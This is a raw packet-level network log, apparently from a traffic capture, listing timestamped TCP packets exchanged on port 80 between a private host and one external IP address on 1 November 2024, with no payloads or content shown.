Nov 1, 2024 08:51:10.459683895 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459695101 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459706068 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459718943 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459736109 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459742069 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459748983 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459774971 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459783077 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459794044 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459805012 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459825039 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459846973 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459860086 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459898949 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459902048 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459914923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459944010 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459963083 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.459964991 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459983110 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.459994078 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460002899 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.460005045 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460020065 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460028887 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460031033 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.460069895 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.460109949 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460122108 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460138083 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460150957 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460158110 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.460163116 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460182905 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460182905 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.460201025 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460211992 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460218906 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.460243940 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460254908 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460256100 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.460267067 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460275888 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460285902 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460289001 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.460299015 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460309982 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460320950 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460329056 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.460342884 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.460355997 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.460376978 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.491054058 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.491080046 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.491091967 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.491102934 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.491287947 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.575931072 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.575948000 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.575959921 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.575994968 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.576028109 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.576040983 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.576042891 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.576065063 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.576103926 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577094078 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577106953 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577116966 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577128887 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577141047 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577152967 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577158928 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577166080 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577184916 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577203035 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577205896 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577215910 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577227116 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577227116 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577240944 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577265978 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577272892 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577290058 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577299118 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577302933 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577310085 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577339888 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577373981 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577384949 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577394962 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577410936 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577420950 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577445984 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577466965 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577559948 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577579021 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577589989 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577601910 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577603102 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577620029 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577624083 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577635050 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577646017 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577656031 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577656984 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577677011 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577691078 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577697039 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577706099 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577718019 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577728033 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577733994 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577747107 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577759981 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577769995 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577797890 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577797890 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577811956 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577819109 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577822924 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577857018 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577881098 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577891111 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577902079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577914000 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.577931881 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.577955961 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.726367950 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.726438046 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.726492882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.726502895 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.726527929 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.726545095 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.726545095 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.726567030 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.726577997 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.726617098 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.726620913 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.726667881 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.726687908 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.726725101 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.726732016 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.726761103 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.726764917 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.726795912 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.726802111 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.726831913 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.726835012 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.726867914 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.726871014 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.726903915 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.726907969 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.726938963 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.726943970 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.726977110 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.726979017 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.727015972 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.727036953 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.727072954 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.727087021 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.727108002 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.727114916 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.727144003 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.727155924 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.727184057 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.727188110 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.727226019 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.844347000 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844362020 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844391108 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844402075 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844412088 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844422102 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844432116 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844449997 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.844500065 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.844522953 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844533920 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844542980 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844552994 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844562054 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844573021 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.844577074 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844583035 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.844588041 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844594002 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.844598055 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844609022 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844645023 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.844650984 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844654083 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.844707012 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.844717026 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844727993 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844737053 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844748020 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844769001 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.844783068 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.844980955 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.844990969 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845000982 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845010042 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845019102 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845030069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845031977 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845040083 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845051050 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845052004 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845061064 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845069885 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845079899 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845082045 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845092058 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845102072 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845108032 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845108986 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845108986 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845118999 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845140934 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845165968 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845247030 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845257998 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845268011 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845304012 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845314980 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845319033 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845320940 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845320940 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845329046 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845339060 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845360041 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845372915 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845479012 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845489979 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845499992 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845509052 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845524073 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845532894 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845535040 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845546961 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845558882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845565081 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845570087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845577002 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845580101 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845607042 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845618963 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845633984 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845643997 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845680952 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845709085 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845721960 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845736027 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845746994 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845758915 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845768929 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845778942 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845783949 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845786095 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845786095 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845796108 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.845808029 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.845835924 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.846090078 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.928415060 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.928471088 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.928481102 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.928492069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.928503036 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.928531885 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.928560972 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.930761099 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.930804968 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.930816889 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.930819988 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.930855036 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.930883884 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.930927038 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.932018995 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932038069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932048082 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932075977 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.932080984 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932091951 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932104111 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.932106972 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932117939 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.932117939 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932142973 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.932163000 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.932370901 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932410002 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932413101 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.932421923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932451010 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.932463884 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.932483912 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932495117 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932526112 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.932564020 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932574987 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932584047 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932595015 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932605982 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932605982 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.932615042 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.932617903 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.932648897 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.932668924 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.933283091 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.933334112 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.933345079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.933345079 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.933372974 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.933383942 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.933398008 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.933446884 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.961764097 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.961786032 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.961796045 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.961838007 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.961848021 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.961857080 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.961868048 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:10.961880922 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:10.961930037 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.045933008 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.045953035 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.045963049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.046137094 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.048351049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.048403025 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.048413992 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.048453093 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.048491001 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.048501968 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.048511982 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.048542023 CET	57660	80	192.168.2.4	185.215.113.16
